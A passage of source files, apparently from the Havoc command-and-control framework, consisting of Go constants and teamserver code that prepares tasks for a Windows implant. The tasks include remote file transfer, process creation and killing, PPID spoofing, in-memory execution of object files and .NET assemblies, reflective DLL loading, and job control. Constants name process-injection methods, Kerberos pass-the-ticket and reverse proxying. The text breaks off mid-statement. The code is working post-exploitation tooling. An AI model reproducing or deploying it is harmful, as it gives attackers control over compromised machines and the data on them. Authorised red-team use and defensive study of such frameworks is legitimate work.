2\n\tDEMON_COMMAND_FS_UPLOAD   = 3\n\tDEMON_COMMAND_FS_CD       = 4\n\tDEMON_COMMAND_FS_REMOVE   = 5\n\tDEMON_COMMAND_FS_MKDIR    = 6\n\tDEMON_COMMAND_FS_COPY     = 7\n        DEMON_COMMAND_FS_MOVE     = 8\n\tDEMON_COMMAND_FS_GET_PWD  = 9\n\tDEMON_COMMAND_FS_CAT      = 10\n)\n\nconst (\n\tDOTNET_INFO_PATCHED     = 0x1\n\tDOTNET_INFO_NET_VERSION = 0x2\n\tDOTNET_INFO_ENTRYPOINT  = 0x3\n\tDOTNET_INFO_FINISHED    = 0x4\n\tDOTNET_INFO_FAILED      = 0x5\n)\n\nconst (\n\tHAVOC_CONSOLE_MESSAGE = 0x80\n\tHAVOC_BOF_CALLBACK    = 0x81\n)\n\nconst (\n\tERROR_WIN32_LASTERROR = 1\n\tERROR_TOKEN           = 3\n)\n\nconst (\n\tSOCKET_COMMAND_RPORTFWD_ADD    = 0x0\n\tSOCKET_COMMAND_RPORTFWD_ADDLCL = 0x1\n\tSOCKET_COMMAND_RPORTFWD_LIST   = 0x2\n\tSOCKET_COMMAND_RPORTFWD_CLEAR  = 0x3\n\tSOCKET_COMMAND_RPORTFWD_REMOVE = 0x4\n\n\tSOCKET_COMMAND_SOCKSPROXY_ADD    = 0x5\n\tSOCKET_COMMAND_SOCKSPROXY_LIST   = 0x6\n\tSOCKET_COMMAND_SOCKSPROXY_REMOVE = 0x7\n\tSOCKET_COMMAND_SOCKSPROXY_CLEAR  = 0x8\n\n\tSOCKET_COMMAND_OPEN       = 0x10\n\tSOCKET_COMMAND_READ       = 0x11\n\tSOCKET_COMMAND_WRITE      = 0x12\n\tSOCKET_COMMAND_CLOSE      = 0x13\n\tSOCKET_COMMAND_CONNECT    = 0x14\n\n\tSOCKET_TYPE_REVERSE_PORTFWD = 0x1\n\tSOCKET_TYPE_REVERSE_PROXY   = 0x2\n\tSOCKET_TYPE_CLIENT          = 0x3\n\n\tSOCKET_ERROR_ALREADY_BOUND = 0x1\n)\n\nconst (\n\tKERBEROS_COMMAND_LUID  = 0x0\n\tKERBEROS_COMMAND_KLIST = 0x1\n\tKERBEROS_COMMAND_PURGE = 0x2\n\tKERBEROS_COMMAND_PTT   = 0x3\n)\n\nconst (\n\tCOFFEELDR_FLAG_NON_THREADED = 0\n\tCOFFEELDR_FLAG_THREADED     = 1\n\tCOFFEELDR_FLAG_DEFAULT      = 2\n)\n\nconst (\n\tINJECT_WAY_SPAWN   = 0\n\tINJECT_WAY_INJECT  = 1\n\tINJECT_WAY_EXECUTE = 2\n)\n\nconst (\n\tTHREAD_METHOD_DEFAULT            = 0\n\tTHREAD_METHOD_CREATEREMOTETHREAD = 1\n\tTHREAD_METHOD_NTCREATEHREADEX    = 2\n\tTHREAD_METHOD_NTQUEUEAPCTHREAD   = 3\n)\n\nconst (\n\tSecurityAnonymous      = 0x0\n\tSecurityIdentification = 0x1\n\tSecurityImpersonation  = 0x2\n\tSecurityDelegation     = 0x3\n)\n\nconst (\n\tSECURITY_MANDATORY_UNTRUSTED_RID         = 0x00000000\n\tSECURITY_MANDATORY_LOW_RID               = 0x00001000\n\tSECURITY_MANDATORY_MEDIUM_RID            = 0x00002000\n\tSECURITY_MANDATORY_HIGH_RID              = 0x00003000\n\tSECURITY_MANDATORY_SYSTEM_RID            = 0x00004000\n\tSECURITY_MANDATORY_PROTECTED_PROCESS_RID = 0x00005000\n)\n\nconst (\n\tTokenPrimary       = 1\n\tTokenImpersonation = 2\n)\n\nconst (\n\tINJECT_ERROR_SUCCESS               = 0\n\tINJECT_ERROR_FAILED                = 1\n\tINJECT_ERROR_INVALID_PARAM         = 2\n\tINJECT_ERROR_PROCESS_ARCH_MISMATCH = 3\n)\n"
  },
  {
    "path": "teamserver/pkg/agent/demons.go",
    "content": "package agent\n\nimport (\n\t\"bytes\"\n\t\"encoding/base64\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"math/rand\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"Havoc/pkg/common\"\n\t\"Havoc/pkg/common/parser\"\n\t\"Havoc/pkg/logger\"\n\t\"Havoc/pkg/logr\"\n\t\"Havoc/pkg/socks\"\n\t\"Havoc/pkg/utils\"\n\t\"Havoc/pkg/win32\"\n\n\t\"github.com/olekukonko/tablewriter\"\n)\n\n// we upload heavy files to the implant in chunks, so SMB agents can handle the size\nfunc (a *Agent) UploadMemFileInChunks(FileData []byte) uint32 {\n\tvar ID uint32\n\tvar chunkSize = DEMON_MAX_RESPONSE_LENGTH\n\n\t// generate a random ID\n\tID = rand.Uint32()\n\n\tFileSize := len(FileData)\n\t// split the file in chunks of DEMON_MAX_RESPONSE_LENGTH\n\tfor start := 0; start <= FileSize; start += chunkSize {\n\t\tend := start + chunkSize\n\n\t\t// necessary check to avoid slicing beyond FileData capacity\n\t\tif end > FileSize {\n\t\t\tend = FileSize\n\t\t}\n\n\t\tMemFileJob := Job{\n\t\t\tCommand:   COMMAND_MEM_FILE,\n\t\t\tRequestID: rand.Uint32(),\n\t\t\tData: []any{\n\t\t\t\tID,\n\t\t\t\tuint64(FileSize),\n\t\t\t\tFileData[start:end],\n\t\t\t},\n\t\t}\n\n\t\ta.AddJobToQueue(MemFileJob)\n\t}\n\n\treturn ID\n}\n\nfunc (a *Agent) TeamserverTaskPrepare(Command string, Console func(AgentID string, Message map[string]string)) error {\n\n\tvar Commands = strings.Split(Command, \"::\")\n\n\tswitch Commands[0] {\n\n\tcase \"task\":\n\t\tif len(Commands) > 1 {\n\t\t\tswitch Commands[1] {\n\n\t\t\tcase \"list\":\n\t\t\t\tif len(a.JobQueue) > 0 {\n\t\t\t\t\tvar ListTable string\n\n\t\t\t\t\tListTable += \"\\n\"\n\t\t\t\t\tListTable += fmt.Sprintf(\" %-8s  %-19s  %-8s  %s\\n\", \"Task ID\", \"Created\", \"Size\", \"Command\")\n\t\t\t\t\tListTable += fmt.Sprintf(\" %-8s  %-19s  %-8s  %s\\n\", \"-------\", \"-------\", \"----\", \"-------\")\n\n\t\t\t\t\tfor _, task := range a.JobQueue {\n\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\tPayload = BuildPayloadMessage([]Job{task}, a.Encryption.AESKey, a.Encryption.AESIv)\n\t\t\t\t\t\t\tSize    = common.ByteCountSI(int64(len(Payload)))\n\t\t\t\t\t\t)\n\t\t\t\t\t\tListTable += fmt.Sprintf(\" %-8s  %-19s  %-8s  %s\\n\", task.TaskID, task.Created, Size, task.CommandLine)\n\t\t\t\t\t}\n\n\t\t\t\t\tConsole(a.NameID, map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Info\",\n\t\t\t\t\t\t\"Message\": \"List task queue:\",\n\t\t\t\t\t\t\"Output\":  ListTable,\n\t\t\t\t\t})\n\t\t\t\t} else {\n\t\t\t\t\tConsole(a.NameID, map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\"Message\": \"No jobs in task queue\",\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase \"clear\":\n\t\t\t\tif len(a.JobQueue) > 0 {\n\t\t\t\t\tvar Jobs = len(a.JobQueue)\n\t\t\t\t\ta.JobQueue = nil\n\t\t\t\t\tConsole(a.NameID, map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Good\",\n\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Cleared task queue [%v]\", Jobs),\n\t\t\t\t\t})\n\t\t\t\t} else {\n\t\t\t\t\tConsole(a.NameID, map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\"Message\": \"No jobs in task queue\",\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\t}\n\t\t}\n\t\tbreak\n\n\t}\n\n\treturn nil\n}\n\nfunc (a *Agent) TaskPrepare(Command int, Info any, Message *map[string]string, ClientID string, teamserver TeamServer) (*Job, error) {\n\tvar (\n\t\tjob = &Job{\n\t\t\tCommand:   uint32(Command),\n\t\t\tRequestID: rand.Uint32(),\n\t\t\tData:      []interface{}{},\n\t\t\tCreated:   time.Now().UTC().Format(\"02/01/2006 15:04:05\"),\n\t\t}\n\t\terr error\n\t)\n\n\tOptional := Info.(map[string]interface{})\n\n\tif val, ok := Optional[\"CommandLine\"]; ok {\n\t\tjob.CommandLine = val.(string)\n\t}\n\n\tif val, ok := Optional[\"TaskID\"]; ok {\n\t\tjob.TaskID = val.(string)\n\n\t\tRequestID, err := strconv.ParseInt(job.TaskID, 16, 64)\n\t\tif err == nil {\n\t\t\tjob.RequestID = uint32(RequestID)\n\t\t}\n\t}\n\n\tswitch Command {\n\n\tcase COMMAND_EXIT:\n\n\t\tif val, ok := Optional[\"ExitMethod\"].(string); ok {\n\t\t\tvar Exit int = 0\n\n\t\t\tif val == \"thread\" {\n\t\t\t\tExit = 1\n\t\t\t} else if val == \"process\" {\n\t\t\t\tExit = 2\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tExit,\n\t\t\t}\n\t\t} else {\n\t\t\treturn nil, errors.New(\"ExitMethod not found\")\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_CHECKIN:\n\t\tbreak\n\n\tcase COMMAND_SLEEP:\n\t\tvar (\n\t\t\tDelay    int\n\t\t\tJitter   int\n\t\t\terr      error\n\t\t\tArgArray []string\n\t\t)\n\n\t\tArgArray = strings.Split(Optional[\"Arguments\"].(string), \";\")\n\n\t\tDelay, err = strconv.Atoi(ArgArray[0])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tJitter, err = strconv.Atoi(ArgArray[1])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tjob.Data = []interface{}{\n\t\t\tDelay,\n\t\t\tJitter,\n\t\t}\n\n\tcase COMMAND_FS:\n\t\tvar (\n\t\t\tArguments  = Optional[\"Arguments\"].(string)\n\t\t\tSubCommand = 0\n\t\t)\n\n\t\tswitch Optional[\"SubCommand\"].(string) {\n\t\tcase \"dir\":\n\t\t\tSubCommand = 1\n\n\t\t\tvar (\n\t\t\t\tSubDirs int\n\t\t\t\tFilesOnly int\n\t\t\t\tDirsOnly int\n\t\t\t\tListOnly int\n\t\t\t)\n\n\t\t\tArgArray  := strings.Split(Arguments, \";\")\n\t\t\tPath      := ArgArray[0]\n\t\t\tStarts    := ArgArray[5];\n\t\t\tContains  := ArgArray[6];\n\t\t\tEnds      := ArgArray[7];\n\n\t\t\tif ArgArray[1] == \"true\" {\n\t\t\t\tSubDirs = win32.TRUE\n\t\t\t} else {\n\t\t\t\tSubDirs = win32.FALSE\n\t\t\t}\n\t\t\tif ArgArray[2] == \"true\" {\n\t\t\t\tFilesOnly = win32.TRUE\n\t\t\t} else {\n\t\t\t\tFilesOnly = win32.FALSE\n\t\t\t}\n\n\t\t\tif ArgArray[3] == \"true\" {\n\t\t\t\tDirsOnly = win32.TRUE\n\t\t\t} else {\n\t\t\t\tDirsOnly = win32.FALSE\n\t\t\t}\n\n\t\t\tif ArgArray[4] == \"true\" {\n\t\t\t\tListOnly = win32.TRUE\n\t\t\t} else {\n\t\t\t\tListOnly = win32.FALSE\n\t\t\t}\n\n\t\t\t// go from \\\\server\\share to \\\\server\\share\\\n\t\t\tif strings.HasPrefix(Path, \"\\\\\\\\\") {\n\t\t\t\tuncIndex := strings.Index(Path[2:], \"\\\\\")\n\t\t\t\tif uncIndex != -1 && strings.Index(Path[uncIndex+3:], \"\\\\\") == -1 {\n\t\t\t\t\tPath += \"\\\\\" \n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// If the file ends in \\ or is a drive (C:), throw a * on there\n\t\t\tif strings.HasSuffix(Path, \"\\\\\") {\n\t\t\t\tPath += \"*\"\n\t\t\t} else if strings.HasSuffix(Path, \":\") {\n\t\t\t\tPath += \"\\\\*\"\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t\twin32.FALSE,\n\t\t\t\tcommon.EncodeUTF16(Path),\n\t\t\t\tSubDirs,\n\t\t\t\tFilesOnly,\n\t\t\t\tDirsOnly,\n\t\t\t\tListOnly,\n\t\t\t\tcommon.EncodeUTF16(Starts),\n\t\t\t\tcommon.EncodeUTF16(Contains),\n\t\t\t\tcommon.EncodeUTF16(Ends),\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"dir;ui\":\n\t\t\tSubCommand = 1\n\n\t\t\t// go from \\\\server\\share to \\\\server\\share\\\n\t\t\tif strings.HasPrefix(Arguments, \"\\\\\\\\\") {\n\t\t\t\tuncIndex := strings.Index(Arguments[2:], \"\\\\\")\n\t\t\t\tif uncIndex != -1 && strings.Index(Arguments[uncIndex+3:], \"\\\\\") == -1 {\n\t\t\t\t\tArguments += \"\\\\\"\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// If the file ends in \\ or is a drive (C:), throw a * on there\n\t\t\tif strings.HasSuffix(Arguments, \"\\\\\") {\n\t\t\t\tArguments += \"*\"\n\t\t\t} else if strings.HasSuffix(Arguments, \":\") {\n\t\t\t\tArguments += \"\\\\*\"\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t\twin32.TRUE,\n\t\t\t\tcommon.EncodeUTF16(Arguments),\n\t\t\t\twin32.FALSE,\n\t\t\t\twin32.FALSE,\n\t\t\t\twin32.FALSE,\n\t\t\t\twin32.FALSE,\n\t\t\t\tcommon.EncodeUTF16(\"\"),\n\t\t\t\tcommon.EncodeUTF16(\"\"),\n\t\t\t\tcommon.EncodeUTF16(\"\"),\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"download\":\n\t\t\tSubCommand = 2\n\n\t\t\tvar (\n\t\t\t\tFileName []byte\n\t\t\t\tArgArray []string\n\t\t\t)\n\n\t\t\tArgArray = strings.Split(Arguments, \";\")\n\n\t\t\tif val, err := base64.StdEncoding.DecodeString(ArgArray[0]); err == nil {\n\t\t\t\tFileName = []byte(common.EncodeUTF16(string(val)))\n\t\t\t} else {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t\tFileName,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"upload\":\n\t\t\tvar (\n\t\t\t\tFileName  []byte\n\t\t\t\tContent   []byte\n\t\t\t\tArgArray  []string\n\t\t\t\tMemFileId uint32\n\t\t\t)\n\n\t\t\tArgArray = strings.Split(Arguments, \";\")\n\n\t\t\tif val, err := base64.StdEncoding.DecodeString(ArgArray[0]); err == nil {\n\t\t\t\tFileName = append([]byte(common.EncodeUTF16(string(val))), []byte{0, 0}...)\n\t\t\t} else {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tif val, err := base64.StdEncoding.DecodeString(ArgArray[1]); err == nil {\n\t\t\t\tContent = val\n\t\t\t} else {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tMemFileId = a.UploadMemFileInChunks(Content)\n\n\t\t\tSubCommand = 3\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t\tFileName,\n\t\t\t\tMemFileId,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"cd\":\n\t\t\tSubCommand = 4\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t\tcommon.EncodeUTF16(Arguments),\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"remove\":\n\t\t\tSubCommand = 5\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t\tcommon.EncodeUTF16(Arguments),\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"mkdir\":\n\t\t\tSubCommand = 6\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t\tcommon.EncodeUTF16(Arguments),\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"cp\":\n\t\t\tSubCommand = 7\n\n\t\t\tvar Paths = strings.Split(Arguments, \";\")\n\t\t\tif len(Paths) >= 2 {\n\t\t\t\tvar (\n\t\t\t\t\tPathFrom []byte\n\t\t\t\t\tPathTo   []byte\n\t\t\t\t)\n\n\t\t\t\tif val, err := base64.StdEncoding.DecodeString(Paths[0]); err == nil {\n\t\t\t\t\tPathFrom = []byte(common.EncodeUTF16(string(val)))\n\t\t\t\t} else {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\tif val, err := base64.StdEncoding.DecodeString(Paths[1]); err == nil {\n\t\t\t\t\tPathTo = []byte(common.EncodeUTF16(string(val)))\n\t\t\t\t} else {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\tSubCommand,\n\t\t\t\t\tPathFrom,\n\t\t\t\t\tPathTo,\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tbreak\n\n                case \"mv\":\n                        SubCommand = 8\n\n                        var Paths = strings.Split(Arguments, \";\")\n                        if len(Paths) >= 2 {\n                                var (\n                                        PathFrom []byte\n                                        PathTo   []byte\n                                )\n\n                                if val, err := base64.StdEncoding.DecodeString(Paths[0]); err == nil {\n                                        PathFrom = []byte(common.EncodeUTF16(string(val)))\n                                } else {\n                                        return nil, err\n                                }\n\n                                if val, err := base64.StdEncoding.DecodeString(Paths[1]); err == nil {\n                                        PathTo = []byte(common.EncodeUTF16(string(val)))\n                                } else {\n                                        return nil, err\n                                }\n\n                                job.Data = []interface{}{\n                                        SubCommand,\n                                        PathFrom,\n                                        PathTo,\n                                }\n                        }\n\n                        break\n\n\t\tcase \"pwd\":\n\t\t\tSubCommand = 9\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"cat\":\n\t\t\tSubCommand = 10\n\n\t\t\tvar (\n\t\t\t\tFileName []byte\n\t\t\t\tArgArray []string\n\t\t\t)\n\n\t\t\tArgArray = strings.Split(Arguments, \";\")\n\n\t\t\tif val, err := base64.StdEncoding.DecodeString(ArgArray[0]); err == nil {\n\t\t\t\tFileName = []byte(common.EncodeUTF16(string(val)))\n\t\t\t} else {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t\tFileName,\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\tcase COMMAND_PROC:\n\t\tvar (\n\t\t\tSubCommand, _ = strconv.Atoi(Optional[\"ProcCommand\"].(string))\n\t\t\tArguments     = Optional[\"Args\"].(string)\n\t\t)\n\n\t\tswitch SubCommand {\n\t\tcase DEMON_COMMAND_PROC_MODULES:\n\t\t\tvar pid, _ = strconv.Atoi(Arguments)\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t\tpid,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase DEMON_COMMAND_PROC_GREP:\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t\tcommon.EncodeUTF16(Arguments),\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase DEMON_COMMAND_PROC_CREATE:\n\n\t\t\tvar (\n\t\t\t\tArgs           = strings.Split(Arguments, \";\")\n\t\t\t\tProcess        string\n\t\t\t\tProcessArgs    string\n\t\t\t\tProcessState   int\n\t\t\t\tProcessPiped   int\n\t\t\t\tProcessVerbose int\n\t\t\t)\n\n\t\t\t// State, Verbose, Piped, ProcessApp, ProcessArg\n\t\t\tProcessState, err := strconv.Atoi(Args[0])\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"\")\n\t\t\t}\n\n\t\t\tProcessVerbose = 0\n\t\t\tif strings.ToLower(Args[1]) == \"true\" {\n\t\t\t\tProcessVerbose = 1\n\t\t\t}\n\n\t\t\tProcessPiped = 0\n\t\t\tif strings.ToLower(Args[2]) == \"true\" {\n\t\t\t\tProcessPiped = 1\n\t\t\t}\n\n\t\t\tProcess = string(Args[3])\n\n\t\t\tProcArgs, _ := base64.StdEncoding.DecodeString(Args[4])\n\t\t\tProcessArgs = string(ProcArgs)\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t\tProcessState,\n\t\t\t\tcommon.EncodeUTF16(Process),\n\t\t\t\tcommon.EncodeUTF16(ProcessArgs),\n\t\t\t\tProcessPiped,\n\t\t\t\tProcessVerbose,\n\t\t\t}\n\n\t\t\tbreak\n\n\t\t// TODO: is this used?\n\t\tcase 5:\n\t\t\tvar State = 0\n\t\t\tif Optional[\"Args\"] == \"on\" {\n\t\t\t\tState = 1\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t\tState,\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase DEMON_COMMAND_PROC_MEMORY:\n\t\t\tvar (\n\t\t\t\tArgs        = strings.Split(Arguments, \" \")\n\t\t\t\tQueryProtec int\n\t\t\t)\n\n\t\t\tvar (\n\t\t\t\tProcID, _ = strconv.Atoi(Args[0])\n\t\t\t)\n\n\t\t\tswitch Args[1] {\n\n\t\t\tcase \"PAGE_NOACCESS\":\n\t\t\t\tQueryProtec = win32.PAGE_NOACCESS\n\n\t\t\tcase \"PAGE_READONLY\":\n\t\t\t\tQueryProtec = win32.PAGE_READONLY\n\n\t\t\tcase \"PAGE_READWRITE\":\n\t\t\t\tQueryProtec = win32.PAGE_READWRITE\n\n\t\t\tcase \"PAGE_WRITECOPY\":\n\t\t\t\tQueryProtec = win32.PAGE_WRITECOPY\n\n\t\t\tcase \"PAGE_EXECUTE\":\n\t\t\t\tQueryProtec = win32.PAGE_EXECUTE\n\n\t\t\tcase \"PAGE_EXECUTE_READ\":\n\t\t\t\tQueryProtec = win32.PAGE_EXECUTE_READ\n\n\t\t\tcase \"PAGE_EXECUTE_READWRITE\":\n\t\t\t\tQueryProtec = win32.PAGE_EXECUTE_READWRITE\n\n\t\t\tcase \"PAGE_EXECUTE_WRITECOPY\":\n\t\t\t\tQueryProtec = win32.PAGE_EXECUTE_WRITECOPY\n\n\t\t\tcase \"PAGE_GUARD\":\n\t\t\t\tQueryProtec = win32.PAGE_GUARD\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t\tProcID,\n\t\t\t\tQueryProtec,\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase DEMON_COMMAND_PROC_KILL:\n\t\t\tvar pid, err = strconv.Atoi(Arguments)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Debug(\"proc::kill failed to parse pid: \" + err.Error())\n\t\t\t\treturn nil, errors.New(\"proc::kill failed to parse pid: \" + err.Error())\n\t\t\t} else {\n\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\tSubCommand,\n\t\t\t\t\tpid,\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tbreak\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_PROC_LIST:\n\t\tvar (\n\t\t\tProcessUI = Optional[\"FromProcessManager\"].(string)\n\t\t\tValue     = win32.FALSE\n\t\t)\n\n\t\tif ProcessUI == \"true\" {\n\t\t\tValue = win32.TRUE\n\t\t}\n\n\t\tjob.Data = []interface{}{\n\t\t\tValue,\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_PROC_PPIDSPOOF:\n\t\tvar PPIDSpoof, err = strconv.Atoi(Optional[\"PPID\"].(string))\n\t\tif err != nil {\n\t\t\tlogger.Error(err)\n\t\t\tbreak\n\t\t}\n\n\t\tjob.Data = []interface{}{\n\t\t\tuint32(PPIDSpoof),\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_INLINEEXECUTE:\n\t\tvar (\n\t\t\tFunctionName string\n\t\t\tObjectFile   []byte\n\t\t\tParameters   []byte\n\t\t\tFlags        uint32\n\t\t\tBofFileId    uint32\n\t\t\tParamsFileId uint32\n\t\t\tok           bool\n\t\t)\n\n\t\tif Arguments, ok := Optional[\"HasCallback\"].(string); ok && Arguments == \"true\" {\n\t\t\t// if there is a callback for this BOF, means that we need to\n\t\t\t// store all the output and send it back to the python module\n\t\t\t// instead of simply printing it on the console\n\n\t\t\tvar bofcallback = &BofCallback{\n\t\t\t\tTaskID:   job.RequestID,\n\t\t\t\tOutput:   \"\",\n\t\t\t\tError:    \"\",\n\t\t\t\tClientID: ClientID,\n\t\t\t}\n\n\t\t\ta.BofCallbacks = append(a.BofCallbacks, bofcallback)\n\t\t}\n\n\t\tif Arguments, ok := Optional[\"Arguments\"].(string); ok {\n\t\t\tif Parameters, err = base64.StdEncoding.DecodeString(Arguments); !ok {\n\t\t\t\treturn nil, errors.New(\"FunctionName not defined\")\n\t\t\t}\n\t\t} else {\n\t\t\treturn nil, errors.New(\"CoffeeLdr: Arguments not defined\")\n\t\t}\n\n\t\tif Binary, ok := Optional[\"Binary\"].(string); ok {\n\t\t\tif ObjectFile, err = base64.StdEncoding.DecodeString(Binary); err != nil {\n\t\t\t\tlogger.Debug(\"Failed to turn base64 encoded object file into bytes: \" + err.Error())\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\tBofFileId    = a.UploadMemFileInChunks(ObjectFile)\n\t\t// a BOF can have an entire PE in its parameters, so chunk them\n\t\tParamsFileId = a.UploadMemFileInChunks(Parameters)\n\n\t\tif FunctionName, ok = Optional[\"FunctionName\"].(string); !ok {\n\t\t\treturn nil, errors.New(\"CoffeeLdr: FunctionName not defined\")\n\t\t}\n\n\t\tif ObjectFlags, ok := Optional[\"Flags\"].(string); ok {\n\n\t\t\tswitch strings.ToLower(ObjectFlags) {\n\t\t\tcase \"non-threaded\":\n\t\t\t\tFlags = COFFEELDR_FLAG_NON_THREADED\n\t\t\t\tbreak\n\n\t\t\tcase \"threaded\":\n\t\t\t\tFlags = COFFEELDR_FLAG_THREADED\n\t\t\t\tbreak\n\n\t\t\tcase \"default\":\n\t\t\t\tFlags = COFFEELDR_FLAG_DEFAULT\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tFlags = 0\n\t\t\t}\n\n\t\t} else {\n\t\t\treturn nil, errors.New(\"CoffeeLdr: Flags not defined\")\n\t\t}\n\n\t\tjob.Data = []interface{}{\n\t\t\tFunctionName,\n\t\t\tBofFileId,\n\t\t\tParamsFileId,\n\t\t\tFlags,\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_ASSEMBLY_INLINE_EXECUTE:\n\t\tvar (\n\t\t\tbinaryDecoded, _ = base64.StdEncoding.DecodeString(Optional[\"Binary\"].(string))\n\t\t\targuments        = common.EncodeUTF16(Optional[\"Arguments\"].(string))\n\t\t\tNetVersion       = common.EncodeUTF16(\"v4.0.30319\")\n\t\t\tPipePath         = common.EncodeUTF16(common.GeneratePipeName(teamserver.GetDotNetPipeTemplate(), a.Info.ProcessPID, a.Info.ProcessTID))\n\t\t\tAppDomainName    = common.EncodeUTF16(\"DefaultDomain\")\n\t\t\tMemFileId        uint32\n\t\t)\n\n\t\tMemFileId = a.UploadMemFileInChunks(binaryDecoded)\n\n\t\tjob.Data = []interface{}{\n\t\t\tPipePath,\n\t\t\tAppDomainName,\n\t\t\tNetVersion,\n\t\t\tMemFileId,\n\t\t\targuments,\n\t\t}\n\n\tcase COMMAND_ASSEMBLY_LIST_VERSIONS:\n\t\tbreak\n\n\tcase COMMAND_SPAWNDLL:\n\t\tvar (\n\t\t\tBinary, _            = base64.StdEncoding.DecodeString(Optional[\"Binary\"].(string))\n\t\t\tArgs, _              = base64.StdEncoding.DecodeString(Optional[\"Arguments\"].(string))\n\t\t\tDllReflectiveLdrPath string\n\t\t\tDllReflectiveLdr     []byte\n\t\t)\n\n\t\tDllReflectiveLdrPath = utils.GetTeamserverPath() + \"/payloads/DllLdr.x64.bin\"\n\n\t\tDllReflectiveLdr, err := os.ReadFile(DllReflectiveLdrPath)\n\t\tif err != nil {\n\t\t\treturn nil, errors.New(\"Couldn't read content of file: \" + err.Error())\n\t\t}\n\n\t\tjob.Data = []interface{}{\n\t\t\tDllReflectiveLdr,\n\t\t\tBinary,\n\t\t\tArgs,\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_JOB:\n\t\tvar (\n\t\t\tSubCommand int\n\t\t\tJobID      int\n\t\t\terr        error\n\t\t)\n\n\t\tif val, ok := Optional[\"Command\"].(string); ok {\n\t\t\tswitch val {\n\t\t\tcase \"list\":\n\t\t\t\tSubCommand = 0x1\n\t\t\t\tbreak\n\n\t\t\tcase \"suspend\":\n\t\t\t\tSubCommand = 0x2\n\t\t\t\tbreak\n\n\t\t\tcase \"resume\":\n\t\t\t\tSubCommand = 0x3\n\t\t\t\tbreak\n\n\t\t\tcase \"kill\":\n\t\t\t\tSubCommand = 0x4\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif val, ok := Optional[\"Param\"].(string); ok {\n\t\t\tJobID, err = strconv.Atoi(val)\n\t\t\tif err != nil {\n\t\t\t\treturn job, errors.New(\"couldn't convert JobID to int\")\n\t\t\t}\n\t\t}\n\n\t\tif SubCommand == 0x1 {\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t}\n\t\t} else {\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSubCommand,\n\t\t\t\tJobID,\n\t\t\t}\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_INJECT_DLL:\n\t\tvar 